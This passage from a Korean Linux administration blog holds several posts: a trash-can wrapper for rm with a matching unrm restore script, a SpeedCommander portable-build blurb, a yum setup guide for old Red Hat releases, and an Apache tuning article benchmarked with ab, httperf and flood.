realrm="/bin/rm "                  # rm파일위치
copy="/bin/cp -R"                  # 복사(휴지통으로 넣기)위한 cp 명령 경로

if [ $# -eq 0 ] ; then  # let 'rm' ouptut the usage error
  exec $realrm  # our shell dies and is replaced by /bin/rm
fi

# parse all options looking for '-f'

flags=""

while getopts "dfiPRrvW" opt
do
  case $opt in
    f ) exec $realrm "$@"    ;;  # exec lets us exit this script directly.
    * ) flags="$flags -$opt"  ;;  # other flags are for 'rm', not us
  esac
done
shift $(( $OPTIND - 1 ))

# make sure that the $mydir exists

if [ ! -d $mydir ] ; then
  if [ ! -w $HOME ] ; then
    echo "$0 failed: can't create $mydir in $HOME" >&2
    exit 1
  fi
  mkdir $mydir
  chmod 700 $mydir      # a little bit of privacy, please
fi

for arg
do
  newname="$mydir/$(date "+%S.%M.%H.%d.%m").$(basename "$arg")"
  if [ -f "$arg" ] ; then
    $copy "$arg" "$newname"
  elif [ -d "$arg" ] ; then
    $copy "$arg" "$newname"
  fi
done

exec $realrm $flags "$@"        # our shell is replaced by realrm


----------------------------------------------------------------------------------------------------------

본인계정의
.profile에 alias rm='/root/newrm.sh' 추가후

source .profile  리로드

사용 rm 파일명하면 다짜고짜 지워버립니다.
단 본인 HomeDir/.deleted-files 에 보면 지워진 파일이 들어있습니다....
수동으로 꺼내서 이름을 변경하셔도 되구요..

아래의 파을을 이용하면 됩니다. 윈도그로 따지면 휴지통에서 복원정도 명령이겠네요.

cat unrm.sh
#!/bin/sh

# unrm - search the deleted files archive for the specified file. If
#  there is more than one match, show a list ordered by timestamp, and
#  let the user specify which they want restored.

# Big Important Warning: you'll want a cron job or similar to keep the
#  individual trash directories tamed, otherwise nothing will ever
#  actually be deleted on the system and you'll run out of disk space!

mydir="$HOME/.deleted-files"
realrm="/bin/rm"
move="/bin/mv"

dest=$(pwd)

if [ ! -d $mydir ] ; then
  echo "$0: No deleted files directory: nothing to unrm" >&2 ; exit 1
fi

cd $mydir

if [ $# -eq 0 ] ; then # no args, just show listing
  echo "Contents of your deleted files archive (sorted by date):"
#  ls -FC | sed -e 's/[[:digit:]][[:digit:]]\.//g' -e 's/^/  /'
  ls -FC | sed -e 's/\([[:digit:]][[:digit:]]\.\)\{5\}//g' \
    -e 's/^/  /'
  exit 0
fi

# Otherwise we must have a pattern to work with. Let's see if the
# user-specified pattern matches more than one file or directory
# in the archive.

matches="$(ls *"$1" 2> /dev/null | wc -l)"

if [ $matches -eq 0 ] ; then
  echo "No match for \"$1\" in the deleted file archive." >&2
  exit 1
fi

if [ $matches -gt 1 ] ; then
  echo "More than one file or directory match in the archive:"
  index=1
  for name in $(ls -td *"$1")
  do
    datetime="$(echo $name | cut -c1-14| \
      awk -F. '{ print $5"/"$4" at "$3":"$2":"$1 }')"
    if [ -d $name ] ; then
      size="$(ls $name | wc -l | sed 's/[^0-9]//g')"
      echo " $index)  $1  (contents = ${size} items, deleted = $datetime)"
    else
      size="$(ls -sdk1 $name | awk '{print $1}')"
      echo " $index)  $1  (size = ${size}Kb, deleted = $datetime)"
    fi
    index=$(( $index + 1))
  done
 
  echo ""
  echo -n "Which version of $1 do you want to restore ('0' to quit)? [1] : "
  read desired

  if [ ${desired:=1} -ge $index ] ; then
    echo "$0: Restore cancelled by user: index value too big." >&2
    exit 1
  fi

  if [ $desired -lt 1 ] ; then
    echo "$0: restore cancelled by user." >&2 ; exit 1
  fi

  restore="$(ls -td1 *"$1" | sed -n "${desired}p")"
 
  if [ -e "$dest/$1" ] ; then
    echo "\"$1\" already exists in this directory. Cannot overwrite." >&2
    exit 1
  fi

  echo -n "Restoring file \"$1\" ..."
  $move "$restore" "$dest/$1"
  echo "done."

  echo -n "Delete the additional copies of this file? [y] "
  read answer
 
  if [ ${answer:=y} = "y" ] ; then
    $realrm -rf *"$1"
    echo "deleted."
  else
    echo "additional copies retained."
  fi
else
  if [ -e "$dest/$1" ] ; then
    echo "\"$1\" already exists in this directory. Cannot overwrite." >&2
    exit 1
  fi

  restore="$(ls -d *"$1")"

  echo -n "Restoring file \"$1\" ... "
  $move "$restore" "$dest/$1"
  echo "done."
fi

exit 0


휴지통에서 복구하기..

unrm.sh 복구할 파일명하면 됩니다.

꼭 필요하던건데.. 이번에 책을 보면서 알게되어 저자의 사이트에서 퍼와서 테스트후
작성합니다.

책명 : 셸 스크립트  101가지 예제로 정복하는 - 에이콘출판사 
광고라고 혹시 하실분 계실까 몰라서 인데 제가 22,500원주고 모 사이트에서 사서 본책입니다.
원저자는 외국인 인듯합니다.

그럼 머리가 캄캄해 지지 않도록 노력해 봅시다.
2010/06/03 23:48 2010/06/03 23:48

CD/파일관리 게시판에 올라왔던것을 포터블 버전으로 만든것입니다. 한글화파일로 교체했고, 압축풀고 실행파일 실행하시면 바로 사용가능합니다. 제작환경은 Win xp sp3 32bit 입니다. thinapp4.0.4로 제작하였습니다.

http://www.speedproject.de
SpeedCommander는 파일 관리 프로그램으로 유명한 NC 커맨더나 토털 커맨더와 흡사한 기능을 제공하는 프로그램입니다.
주요기능
* 수직 혹은 수평 정렬 방식의 2개 창을 이용해 파일 관리
* 하나의 폴더 패널에서 다양한 폴더 보기
* 다양한 독립적인 컨테이와 함께 파일 컨테이너
* 네트워크 Neighborhood, 인터넷, FTP 버튼에서 빠른 접속
* 7Z, ACE, ARJ, BZIP, CAB, GZIP, JAR, LZH, RAR, SQX, TAR, UUE, ZIP등의 포맷을 이용한 압축및 압축 해제 직접 지원
* 다양한 파일 포맷의 빠른 보기
* 다양한 일괄 이름 변경 툴
* 빠르고 편리한 검색 프로그램(FileSearch)
* 파일과 폴더의 동기화(FileSync)
* 텍스트 파일을 위한 편집기 내장(SpeedEdit)
Features:
• Two folder windows which can be arranged horizontally or vertically
• Multiple folder views in one folder panel
• File Container with multiple independent containers
• Quick access to Network Neighborhood, Internet and FTP
• Direct support for the many archive formats (including 7Z, RAR, SQX, ZIP)
• Integrated Quick View for many file formats
• Multi-rename tool
• Fast and comfortable Search Program (FileSearch)
• Synchronize files and folders (FileSync)
• Flexible editor for text files (SpeedEdit)

2010/06/03 09:38 2010/06/03 09:38
yum을 이용한 시스템 업데이트
 
1. yum ?
yum은 rpm기반 시스템에서 자동으로 패키지를 업데이트, 설치, 삭제를 해주는 유틸리티입니다.
업데이트는 알려진 문제를 해결하고 알려진 보안 위협으로부터 서버를 보호하는 데 도움을 줍니다.

rpm의 의존성 문제를 자동적으로 처리하여 쉽게 패키지를 유지 관리할 수 있습니다.
또한 쉽게 레드햇의 release도 변경할 수 있습니다. fedora project에는 기본적으로 내장되어 있습니다 :)
현재 레드햇은 updates.redhat.com등에서 RHEL과 Fedora Project를 제외하고 RedHat의 모든 버전의 업데이트가 중지되고 있습니다. (RedHat 7.3은 2003년 12월 말부터, RedHat 9는 2004년 4월부로 공식지원이 중단됨)
RHN은 회원가입의  번거로움과 기능의 단순함, 막대한 비용에 대한 부담으로 실증을 느끼셨다면 yum을 이용해 보시기 바랍니다.

스마일서브에서는 Redhat 7.3, 9.0, Fedora Core1을 공식 지원하고 있습니다.


1-1. 설치전 확인 사항
  # cat /etc/redhat-release
    에서 자신의 release에 맞는 yum을 설치한다.
  다운로드 사이트는 smileserv.com yum repository 서버를 이용하시기 바랍니다.
  http://mirror.smileserv.com/yum_binary/
 
1-2. 설치
  http://mirror.smileserv.com/yum_binary/ 에서 자신의 redhat-release와 맞은 디렉토리에서 다운로드한 yum rpm을 설치합니다.
  # rpm -Uhv yum*.rpm
1-3. 기본 사용법
  최신 패키지로 업데이트
  # yum update
  패키지 설치
  # yum install 패키지명
  패키지 업데이트
  # yum update 패키지명
  패키지 삭제
  # yum remove 패키지명
  패키지 검색
  # yum search 패키지명
 
1-4. yum을 이용한 레드햇 release upgrade
  ftp://ftp.quicknet.nl/pub/Linux/ftp.redhat.com/
  에서 업그레이드 하고 싶은 버전의 redhat-release***.rpm을 받아서 설치
  # yum upgrade

2. 실제 적용방법
 
 
[root@mirror root]# cat /etc/redhat-release
Red Hat Linux release 7.3 (Valhalla)
현재 시스템에는 RedHat Linux 7.3이 설치되어 있다.

RedHat Linux 7.3을 위한 yum rpm 패키지를 다운로드 받아 설치한다.
[root@mirror root]# wget http://mirror.smileserv.com/yum_binary/redhat7.3/yum-1.0.3-6.0.7.x.legacy.noarch.rpm
[root@mirror root]# rpm -Uhv yum-1.0.3-6.0.7.x.legacy.noarch.rpm

yum repository가 smileserv.com 인지 체크한다.
  [root@mirror root]# cat /etc/yum.conf
  [main]
    cachedir=/var/cache/yum
    debuglevel=2
    logfile=/var/log/yum.log
    pkgpolicy=newest
    #exactarch=1
    #exclude=kernel*
    [base]
    name=Red Hat Linux 7.3 base
    baseurl=http://mirror.smileserv.com/redhat/7.3/os/i386/

    [updates]
    name=Red Hat Linux 7.3 updates
    baseurl=http://mirror.smileserv.com/redhat/7.3/updates/i386/
yum rpm 패키지가 정상적으로 설치됐음이 확인되었습니다.

* fedora core 1(x86 32bit) 이용 고객님께서는 아래 URL에서 yum 을 받아 설치하세요.
  http://mirror.smileserv.com/yum_binary/fedora_Core1/

설치된 모든 패키지에 대한 업데이트를 시작합니다.
    [root@mirror root]# yum update
    이후 hdr 파일을 다운로드 후 현재 시스템에 설치된 rpm 패키지와 버전 체크를 한 후 업데이트가 필요한 패키지 리스트가 출력됩니다. 업데이트를 위해서는 y 를 입력하시면 됩니다.
   
    열거된 rpm 리스트에 따라서 rpm을 다운로드 합니다. 이 후 다운로드된 rpm이 설치되며 업데이트 후에는 리부팅을 하시면 시스템에 적용됩니다.
   
    ntsysv에 yum을 check on 해두면 자동으로 시스템의 패키지들이 업데이트됩니다. 업데이트된 리스트는 /var/log/yum.log 에 남습니다.

  안타깝게도 fedoralegacy.org에서는 더 이상 redhat 7.2, redhat 8.0에 대한 지원은 중단되었습니다.
2010/06/01 12:11 2010/06/01 12:11

테스트 환경

OS  : Red Hat Enterprise Linux AS release 4 (Nahant)

Kernel Version : 2.6.9-5.ELsmp

CPU & Cache : 2 Xeon(TM) CPU 3.06GHz 3057MHz, 512 KB Cache

Memory :  2G

Swap : 4G

Web server : Apache Http Server 2.0.52

Web test tool : ab, Httperf, flood


테스트 계획

rpm 설치후 기본 상태에서 설치된 웹서버에 동시 접속자 1000 명이 1000 번의 요청을 하는 경우를 테스트하여 웹서버의 성능을 측정한다.

다양한 환경설정을 변경해서 웹서버를 튜닝한 이후 다시 동일한 환경으로 테스트해서 실제적인 성능향상이 있는지를 점검한다.


테스트 케이스

1) ab -n 1000 -c 1000 -t 10 http://210.183.235.95/

2) httperf --server 210.183.235.95 --port 80 --rate 1000 --num-conns 20000 --hog

3) flood floodconf..xml > result.out (floodconf.xml 파일에 환경설정)

기본설치후 아파치 성능 테스트


웹사이트가 느리면 고객은 바로 다른 사이트로 이동하기 마련이다.

따라서 기업은 고객을 확보, 유지하기 위해 웹사이트의 성능을 최상의 상태로 유지해야하며 이로 인해 웹사이트의 성능을 진단하고 분석하는 도구들에 대해서 많은 관심을 가지고 있으며 현재 기업들마다 다양한 방법들로 성능을 관리하고 있다.

상용 SW

공개 SW

WEBest

SiteAngel

sitemonitor

WatchPro/TestPro

WEBest

ab

Flood

Httperf

Hammerhead

Web Performance Tool (WPT)

표 1. <웹서버 성능테스트 프로그램 비교>


웹서버의 성능을 측정하기 위해서 먼저 공개SW 벤치마크 프로그램 ab, Flood, Httperf 에 대해서 알아보기로 하자.


ab

ab는 "Apache HTTP server Benchmarking tool" 의 약어로서 아파치서버의 응답속도를 측정하는 밴치마킹툴이다. 이 툴은 현재 설치된 아파치서버의 실행속도 및 성능테스트를 위해서 제우스테크널리지(Zeus Technology Ltd, http://www.zeustech.net/)의 Adam Twiss가 개발한 툴이며. 아파치를 설치하고 나면 기본적으로 설치되므로 별도의 설치 과정 없이 바로 사용할 수 있다.

명령어위치: /usr/local/apache/bin/ab            

(RPM설치시 : /usr/bin/ab)


아래는 ab를 이용해서 -c(한번에수행할 다중요구수) 값을 1000으로하고, -n(페이지요청수) 값을 1000 으로 하였으며 -t(테스트허용 최대시간)값을 10으로 주는 예이다.


[root@www ~]# ab -c 1000 -n 1000 -t 10 http://210.183.235.95/

This is ApacheBench, Version 2.0.41-dev <$Revision: 1.141 $> apache-2.0

Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/

Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/


Server Software:        Apache/2.0.52

Server Hostname:        210.183.235.95

Server Port:            80


Document Path:          /

Document Length:        440 bytes


Concurrency Level:      1000

Time taken for tests:   10.6038 seconds

Complete requests:      13416

Failed requests:        0

Write errors:           0

Total transferred:      8176434 bytes

HTML transferred:       5907440 bytes

Requests per second:    1340.79 [#/sec] (mean)

Time per request:       745.829 [ms] (mean)

Time per request:       0.746 [ms] (mean, across all concurrent requests)

Transfer rate:          797.92 [Kbytes/sec] received


Connection Times (ms)

              min  mean[+/-sd] median   max

Connect:        1  286 1301.0      4    9005

Processing:    21  148 467.1     95    6437

Waiting:       17  135 424.3     87    6434

Total:         57  434 1457.6    108    9703


Percentage of the requests served within a certain time (ms)

  50%    108

  66%    120

  75%    127

  80%    135

  90%    179

  95%   3076

  98%   9068

  99%   9076

 100%   9703 (longest request)


ab 의 측정결과에서 다음과 같은 내용을 분석할수 있다.

Server Software

아파치버전을 표시

Server Hostname

특정사이트의 이름(도메인명)

Server Port

웹서비스 사용포트번호

Document Path

초기 문서가 준재하는 웹문서 root위치

Time take for tests

응답시간(매우 중요한 결과 값임)

Document Length

초기문서(대부분 index.html, index.htm)의 용량크기

Complete requests

요구에 응답완료한 세션수

Failed requests

요구에 응답실패한 세션수

Broken pipe errors

실패한 에러수

Total transferred

총 전송바이트수

HTTP transferred

총 전송한 HTML바이트수

Requests per second

초당응답요구수

Time per request

요구에 응답한 시간(단위 micro second, 중요한 결과값)

Time per request

요구에 응답한 시간

Transfer rate

초당전송가능한 용량

표 2. <ab 의 결과분석>



Httperf


Httperf 툴은 요청이 발생하는 비율, 총 연결 수, 타임아웃 한계 등을 제어할 수 있다.

다운로드는 http://www.hpl.hp.com/research/linux/httperf/ 에서 가능하며 설치는 일반적인 소스설치법과 동일하게 ./configure ; make; make install 로 진행할수 있다.

사용할 수 있는 옵션은 아래와 같다

--server 서버주소

여기에 적어 준 서버로 접속을 시도한다

--port 숫자

여기에 적어 준 포트로 접속을 시도한다

--num-conns 숫자

총 몇개의 접속을 만들 것인지를 결정한다.

--rate 숫자

초당 몇개의 접속을 만들 것인지를 결정한다.

--timeout 숫자

숫자만큼의 초 이후 응답이 없는 연결은 timeout 에러로 처리한다.

--think-timeout 숫자

CGI등 서버쪽에서 처리해야 하는 일들이 있는 페이지의 경우 서버측에 이를 처리할 시간을 준다. timeout에서 이곳에 주어진 숫자만큼을 더한 값이 진짜 timeout값이 된다.

--hog

가능한 모든 포트를 사용한다. 이 옵션을 주지 않으면 기본적으로 1024부터 5000까지의 포트만 사용한다.

표 3.<httperf 의 주요옵션>


아래 예제는 210.183.235.95 웹서버의 80번 포트로 1초에 1000개씩 총 20000개의 접속을 만들게 된다.

[root@www ~]# httperf --server 210.183.235.95 --port 80 --rate 1000 --num-conns 20000 --hog

httperf --hog --client=0/1 --server=210.183.235.95 --port=80 --uri=/ --rate=1000 --send-buffer=4096 --recv-buffer=16384 --num-conns=20000 --num-calls=1

Maximum connect burst length: 8


Total: connections 20000 requests 20000 replies 20000 test-duration 20.000 s


Connection rate: 1000.0 conn/s (1.0 ms/conn, <=540 concurrent connections)

Connection time [ms]: min 0.3 avg 70.5 max 3006.4 median 1.5 stddev 422.3

Connection time [ms]: connect 60.8

Connection length [replies/conn]: 1.000


Request rate: 1000.0 req/s (1.0 ms/req)

Request size [B]: 65.0


Reply rate [replies/s]: min 978.7 avg 1000.0 max 1021.5 stddev 17.5 (4 samples)

Reply time [ms]: response 9.6 transfer 0.0

Reply size [B]: header 169.0 content 440.0 footer 0.0 (total 609.0)

Reply status: 1xx=0 2xx=20000 3xx=0 4xx=0 5xx=0


CPU time [s]: user 3.83 system 14.57 (user 19.2% system 72.9% total 92.0%)

Net I/O: 658.2 KB/s (5.4*10^6 bps)


Errors: total 0 client-timo 0 socket-timo 0 connrefused 0 connreset 0

Errors: fd-unavail 0 addrunavail 0 ftab-full 0 other 0


Flood - a profile-driven HTTP load tester

Flood 는 아파치 프로젝트 하위의 프로젝트이다

XML 설정파일을 필요로 하며, URL 과 POST data 를 여러 서버들에 테스트할수 있다.


현재 Flood 는 Subversion 으로 관리되고 있으며 설치시에 자동으로 소스 디렉토리 하위에서 apr 과 apr-util 패키지를 찾으므로 아래처럼 체크아웃해서 설치하면 된다.

만일 apr 과 apr-util을 이미 받아온 상태라면  configure 할때 --with-apr and --with-apr-util 옵션을 사용해서 경로를 지정해주면 된다


 % svn co http://svn.apache.org/repos/asf/httpd/test/trunk/flood

 % cd flood

 % svn co http://svn.apache.org/repos/asf/apr/apr/trunk apr

 % svn co http://svn.apache.org/repos/asf/apr/apr-util/trunk apr-util


 % ./buildconf

 % ./configure --disable-shared

 % make all

설치가 정상적으로 진행되었으면 설치한 디렉토리에서 아래처럼 확인할수 있다

 % ./flood examples/round-robin.xml > foo.out


결과 파일을 다른프로그램에서 활용하고 싶은 경우는 

% ./examples/analyze-relative foo.out 를 실행해보면 참고할수 있다.

analyze-relative 파일은 테스트 결과값을 가공하는 간단한 스크립트이다.


Flood 에 대해서 보다 상세한 정보를 원한다면 http://httpd.apache.org/test/flood/faq.html 를 방문하자.

아래는 floodconf.xml 파일을 이용해서 테스트 하는 부분이다. xml형식의 환경설정 파일을 설정하는 방법은 http://httpd.apache.org/test/flood/ 를 방문해서 참고하기 바란다.


[root@www ~]# flood floodconf.xml > result.out

[root@www ~]# ./analyze-relative result.out

Slowest pages on average (worst 5):

   Average times (sec)

connect write   read    close   hits    URL

0.0018  0.0019  0.0081  0.0082  29126   http://210.183.235.95/

Requests: 29127 Time: 0.80 Req/Sec: 41776.74




설정변경을 통한 아파치 성능 최적화

아파치는 httpd.conf 파일을 이용해서 성능과 안정성 그리고 보안을 각각 구현할수 있다. 이제부터 리눅스에서 아파치 웹서버를 최상의 상태로 운용하기 위하여 성능을 향상시킬수 있는 아파치의 설정 지시자들을 살펴보기로 하자.


Timeout

접속된 클라이언트가 서버에 아무런 요청이 없을 때 어느정도 시간이 지나면 연결을 끊을지를 초단위로 설정한다. 네트웍의 성능이 낮을수록 이 수치를 높게 설정하는 것이 좋다.


MaxClients

웹서버 성능에 가장 큰 영향을 주는 것은 메모리다. 방문자의 요청에 응답하기 위해서 프로세스가 생성되는되 이 지시자의 개수만큼만 생성가능하다. 여기서 지정한 개수 이상의 요청이 들어오면 아파치는 요청을 무시한다.

MaxClients 지시어를 조절하여 웹서버가 스왑을 할 정도로 많은 프로세스를 만들지 않도록 해야 한다. 스왑은 요청당 지연시간을 늘리기 때문에 웹서버는 스왑을 하면 안된다. top으로 프로세스 목록을 보고 아파치 프로세스의 평균 메모리 사용량을 알아낸후, 사용가능한 메모리의 양만큼 조절해준다


KeepAlive

아파치의 한 프로세스가 접속한 클라이언트의 지속적인 요청작업을 계속해서 처리하게 할 것인지를 결정하는 지시자. 이 지시자의 값을 On으로 되어 있어야 MaxKeepAliveRequests , KeepAliveTimeout 지시자가 유효하게 된다


MaxKeepAliveRequests

이전의 KeepAlive 지시어가 On 일때만 유효하다. KeepAlive 를 이용해서  한 프로세스가 접속한 클라인언트의 이어지는 요청을 모두 처리하도록 설정했는데, 이때 무한정 계속 처리하는것이 아니라 이 지시자를 이용해서 처리할 횟수를 지정해준다. MaxKeepAliveRequests 100 처럼 설정해두면 프로세스가 100번의 요청을 처리한후 자신은 죽고 그다음 프로세스가 다시 클라인언트의 요청을 이어서 처리하도록 하는것이다. 방문자가 많은 홈페이지라면 이 값을 좀 올려두는것이 좋다


KeepAliveTimeout

이전의 KeepAlive 지시어가 On 일때만 유효하다. KeepAlive 를 사용한다면 프로세스들은 이미 열린 연결에서 추가 요청을 기다리며 대기중이다.

KeepAliveTimeout 15 처럼 설정해두면 클라이언트가 15초동안 아무요청이 없으면 프로세스의 연결을 끊는다. 이 값을 60 초 이상으로 올리면 사용자의 요청을 기다리며 아무일을 하지않는 프로세스가 60초동안 떠있게 되는것이다. 자신의 네트웍대역과 부하에 따라 적절히 조절하자. 기본값 15 로도 무방하다


StartServers

아파치 시작시에 실행시킬 프로세스의 개수. 뒤에나오는 MinSpareServers, MaxSpareServers 등의 지시자에 의해서 프로세스는 생성되기도 하고 죽기도 하므로 큰 의미를 가지는것은 아니다.


MinSpareServers

항상 대기하고 있을 프로세스의 최소개수. 여기서 지정한 숫자보다 적은 프로세스가 대기되어 있다면 아파치는 가능한 이 숫자를 유지하기위해 노력한다.


MaxSpareServers

항상 대기하고 있을 프로세스의 최대개수. 여기서 지정한 숫자보다 많은 프로세스가 대기되어 있다면 아파치는 가능한 이 숫자를 유지하기위해 노력한다.


MaxRequestsPerChild

하나의 프로세스당 최대 처리할 수 있는 방문자의 요청횟수

서버사양이 좋다면 이 값을 높여 두는것이 시스템의 부하조절과 자원낭비를 방지하는데 좋다.


HostnameLookups

웹서버의 로그(access_log)에 보면 클라이언트의 IP가 기록되어있는데 이 지시자를 On으로 설정하면 IP주소를 도메인명으로 기록하기위해서 노력을 하게된다.

아파치 1.3 이전에 HostnameLookups의 기본값은 On이였다.

이말은 접속을 요청하면 DNS를 검색해서 접속자의 호스트명을 알아내어야 한다는것이다,. 아파치 1.3에서 이 설정의 기본값이 Off로 변경되었다.

아파치의 성능을 생각한다면 반드시 Off 로 설정하기 바란다.

만일 로그파일의 주소를 호스트명으로 변환할 필요가 있다면 아파치에 포함된 logresolve 프로그램을 사용해서 나중에 할수있으니 실제 사용하는 웹서버가 아닌 다른 컴퓨터에서 로그파일을 후처리하길 바란다.


다른 설정에서 DNS 질의 고려

Allow from domain이나 Deny from domain 지시어를 사용한다면 (즉, IP 주소가 아닌 호스트명이나 도메인명을 사용한다면) 부득이 중복-역 DNS 검색을 (역검색을 한후 악의로 변경되었는지 확인하기위해 다시 검색) 해야 한다. 그러므로 성능을 높이기 위해 이런 지시어에는 가능하면 이름대신 IP 주소를 사용하자


FollowSymLinks와 SymLinksIfOwnerMatch

가능하면 심볼릭링크를 허용하지 않는것이 보안상 좋다. 하지만 꼭 써야한다면 Options SymLinksIfOwnerMatch 보다는 Options FollowSymLinks를 사용하라

Options SymLinksIfOwnerMatch 일 경우 아파치는 심볼릭 링크를 검사하기위해 시스템호출을 한번 더 해야 한다. 좋은 성능을 얻으려면 SymLinksIfOwnerMatch는 피하자


AllowOverride

AllowOverride 는 이전에 설정된 아파치 환경설정을 무시하고 새로운 설정을 적용하는 방법에 대한 설정이다. AccessFileName 을 별도로 설정하지 않았다면 아파치는 .htaccess 파일을 디렉토리 접근인증에 사용한다.

설정할수 있는 지시자는 다음과 같다.


AuthConfig 

AuthDBMGroupFile, AuthDBMUserFile, AuthGroupFile, AuthName, AuthType, AuthUserFile, require 등과 같은 클라이언트 인증지시자의 사용을 허용.

FileInfo

AccessFileName 으로 지정한 파일에 대하여 AddEncoding, AddLanguage, AddType, DefaultType, ErrorDocument, LanguagePriority 등과같은 문서유형을 제어하는 지시자 사용을 허용

Indexes

AccessFileName 으로 지정한 파일에 대하여 AddDescription, AddIcon, AddIconByEncoding, DirectoryIndex, FancyIndexing 등과같은 디렉토리 인덱싱을 제어하는 지시자 사용을 허용

Limit

AccessFileName 으로 지정한 파일에 대하여 allow, deny, order 같은 호스트접근을 제어하는 지시자사용을 허용

Options

AccessFileName 으로 지정한 파일에 대하여 Options 지시자를 이용한 재설정을 허용

All

위에서 이야기한 모든 것을 허용

None

AccessFileName 으로 지정한 파일을 무시. 어떠한 설정도 재설정 할수 없다.


만일 overrides를 허용한다면 아파치는 파일명의 각 부분마다 AccessFileName 으로 지정한 파일(대부분 .htaccess)을 열길 시도한다. 예를 들어 설정은 아래와 같고,


DocumentRoot /www/htdocs

<Directory />

AllowOverride all

</Directory>


/index.html URI에 대한 요청이 있다고 가정하자.

아파치는 /.htaccess, /www/.htaccess, /www/htdocs/.htaccess를 매번 열려고 시도한다. 최고의 성능을 얻으려면 항상 AllowOverride None을 사용하자.


EnableMMAP

커널에서 메모리매핑(mmap)을 지원한다면 아파치가 웹문서를 로딩하기 위하여 내부문서를 읽을때에 파일을 메모리 매핑하여 처리한다. 따라서 아파치의 성능이 크게 향상될수 있다.

그러나 메모리대응이 서버의 성능을 떨어트리고 심지어 안정성을 해치는 경우가 있고 smp Solaris 서버에서 아파치 2.0은 종종 mmap을 사용하지 않을때가 더 빠르다. 또한 NFS 마운트한 파일시스템에 있는 파일을 메모리 대응하는 도중에 다른 NFS 클라이언트에 있는 프로세스가 파일을 지우거나 파일크기를 줄이면, 웹서버 프로세스가 다음 번에 메모리대응한 파일내용을 읽을때 bus error가 발생할 수 있다.

위의 조건에 해당하면 전송하는 파일을 메모리대응하지 않도록 EnableMMAP off를 사용해야 한다.


EnableSendfile

아파치는 운영체제가 sendfile을 지원하면 커널 sendfile을 사용하여 정적 파일을 서비스하는 경우 전송할 파일을 직접 읽지않을 수 있다. sendfile을 사용하면 read와 send를 따로 할 필요가 없어서 매우 빨라진다.

그러나 sendfile을 사용하면 웹서버의 안정성을 해치게되는 경우가 있고, 커널은 자신의 캐쉬를 사용하여 NFS로 마운트한 파일을 안정적으로 서비스할 수 없는 경우가 있으므로

EnableSendfile off를 사용해서 파일을 sendfile 전송하지 않도록 할수 있다.



설정변경후 아파치 성능 테스트


이제까지 설명한 부분들을 자신의 환경에 맞게 각각 수정한 후 아파치 웹서버를 재시작하고 실제로 성능이 향상되었는지를 다시 테스트하기로 하자. 필자는 아래의 부분들을 수정해서 테스트했다.

변경이전

변경이후

Timeout 120

KeepAlive Off

MaxKeepAliveRequests 100

KeepAliveTimeout 15

HostnameLookups On

#EnableMMAP off

#EnableSendfile off

StartServers       8

MinSpareServers    5

MaxSpareServers   20

ServerLimit      256

MaxClients       256

Timeout 300

KeepAlive On

MaxKeepAliveRequests 10000

KeepAliveTimeout 25

HostnameLookups Off

EnableMMAP On

EnableSendfile On

StartServers       20

MinSpareServers    15

MaxSpareServers   45

ServerLimit      512

MaxClients       512

표 4. <httpd.conf 변경부분>


ab

[root@www ~]# ab -c 1000 -n 1000 -t 10 http://210.183.235.95/

This is ApacheBench, Version 2.0.41-dev <$Revision: 1.141 $> apache-2.0

Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/

Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/


Benchmarking 210.183.235.95 (be patient)

Completed 5000 requests

Completed 10000 requests

Finished 14033 requests


Server Software:        Apache/2.0.52

Server Hostname:        210.183.235.95

Server Port:            80


Document Path:          /

Document Length:        440 bytes


Concurrency Level:      1000

Time taken for tests:   10.61616 seconds

Complete requests:      14033

Failed requests:        0

Write errors:           0

Total transferred:      8608215 bytes

HTML transferred:       6219400 bytes

Requests per second:    1394.71 [#/sec] (mean)

Time per request:       716.997 [ms] (mean)

Time per request:       0.717 [ms] (mean, across all concurrent requests)

Transfer rate:          835.45 [Kbytes/sec] received


Connection Times (ms)

              min  mean[+/-sd] median   max

Connect:        2  162 961.7     18    9049

Processing:    16  126 385.1     94    6459

Waiting:       13  114 383.5     81    6439

Total:         52  288 1147.4    118    9890


Percentage of the requests served within a certain time (ms)

  50%    118

  66%    123

  75%    128

  80%    132

  90%    153

  95%    175

  98%   3139

  99%   9188

 100%   9890 (longest request)


httperf

[root@www ~]# httperf --server 210.183.235.95 --port 80 --rate 1000 --num-conns 20000 --hog

httperf --hog --client=0/1 --server=210.183.235.95 --port=80 --uri=/ --rate=1000 --send-buffer=4096 --recv-buffer=16384 --num-conns=20000 --num-calls=1

Maximum connect burst length: 14


Total: connections 20000 requests 20000 replies 20000 test-duration 19.999 s


Connection rate: 1000.0 conn/s (1.0 ms/conn, <=37 concurrent connections)

Connection time [ms]: min 0.5 avg 3.1 max 47.3 median 1.5 stddev 4.6

Connection time [ms]: connect 1.0

Connection length [replies/conn]: 1.000


Request rate: 1000.0 req/s (1.0 ms/req)

Request size [B]: 65.0


Reply rate [replies/s]: min 996.2 avg 1000.0 max 1004.0 stddev 3.4 (4 samples)

Reply time [ms]: response 2.1 transfer 0.0

Reply size [B]: header 150.0 content 440.0 footer 0.0 (total 590.0)

Reply status: 1xx=0 2xx=20000 3xx=0 4xx=0 5xx=0


CPU time [s]: user 2.95 system 10.76 (user 14.8% system 53.8% total 68.6%)

Net I/O: 639.7 KB/s (5.2*10^6 bps)


Errors: total 0 client-timo 0 socket-timo 0 connrefused 0 connreset 0

Errors: fd-unavail 0 addrunavail 0 ftab-full 0 other 0


flood

[root@www ~]# flood floodconf.xml > result.out

[root@www ~]# ./analyze-relative result.out

Slowest pages on average (worst 5):

   Average times (sec)

connect write   read    close   hits    URL

0.0019  0.0020  0.0045  0.0046  28999   http://210.183.235.95/

Requests: 28999 Time: 0.45 Req/Sec: 65931.82


최종 테스트 결과

벤치마크라는 것이 다양한 환경요인에 영향을 받으므로 항상 동일한 값을 기대하기는 어려운 관계로 3가지 벤치마크 프로그램들의 결과값이 모두 동일하게 나타나지는 않지만 설정을 변경하기 이전보다 전부 향상된 것을 확인할 수 있다.

 

ab

httperf

flood

기본상태

Time per request:       745.829 [ms]

Reply time [ms]: response 9.6

Time: 0.80 sec

튜닝이후

Time per request:       716.997 [ms]

Reply time [ms]: response 2.1

Time: 0.45 sec


출처 : linux.co.kr

2010/03/29 13:55 2010/03/29 13:55
 

리눅스에서 휴지통 (safedelete)

safedelete 를 통하여 리눅스 박스에 휴지통 만들기

